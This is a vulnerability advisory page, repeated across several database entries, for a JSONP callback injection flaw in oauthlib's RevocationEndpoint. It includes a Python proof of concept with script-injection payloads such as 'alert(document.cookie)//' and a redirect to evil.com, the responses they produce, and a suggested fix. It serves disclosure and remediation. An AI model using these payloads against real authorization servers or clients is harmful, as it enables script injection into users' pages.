"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-gyb-CVE-2026-49264",
"modified": "2026-10-14T09:27:16Z",
"published": "2026-09-30T20:50:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-HERMES-AGENT-CVE-20… (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-10-04 11:46 – Updated: 2026-10-14 09:20 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "hermes-agent",
"purl": "pkg:brew/hermes-agent"
},
"ranges": [
{
"events": [
{
"introduced": "2026.9.14"
},
{
"fixed": "2026.9.21_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-hermes-agent-CVE-2026-49264",
"modified": "2026-10-14T09:20:40Z",
"published": "2026-10-04T11:46:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-MCP-ATLASSIAN-CVE-2… (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 20:03 – Updated: 2026-10-14 09:28 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
